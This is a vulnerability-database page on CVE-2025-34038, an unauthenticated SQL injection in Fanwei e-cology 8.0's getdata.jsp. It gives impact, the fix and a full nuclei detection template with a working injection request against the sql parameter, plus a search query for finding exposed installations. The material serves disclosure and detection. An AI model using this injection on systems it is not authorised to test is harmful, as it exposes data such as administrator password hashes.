HexBrain

Browse / CVEs / CVE-2025-34038

CVE-2025-34038· CWE-89

Fanwei e-cology - SQL Injection

highseverity
7.5CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

Fanwei e-cology 8.0 contains a sql injection caused by unsanitized user input in the sql parameter of getdata.jsp, letting unauthenticated attackers execute arbitrary SQL queries and access sensitive data.

Impact

Unauthenticated attackers can execute arbitrary SQL queries, potentially exposing sensitive data including administrator password hashes.

Fix

Update to the latest version of Fanwei e-cology.

How to confirm it

Send: GET {{BaseURL}}/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+547653*865674+as+id
Positive when: contains "474088963122" AND status 200

Run it with nuclei: nuclei -id CVE-2025-34038 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-34038

info:
  name: Fanwei e-cology - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    Fanwei e-cology 8.0 contains a sql injection caused by unsanitized user input in the sql parameter of getdata.jsp, letting unauthenticated attackers execute arbitrary SQL queries and access sensitive data.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries, potentially exposing sensitive data including administrator password hashes.
  remediation: |
    Update to the latest version of Fanwei e-cology.
  reference:
    - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20V8%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-89
  metadata:
    max-request: 1
    fofa-query: app="泛微-协同办公OA"
  tags: cve,cve2025,ecology,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+547653*865674+as+id"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "474088963122"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from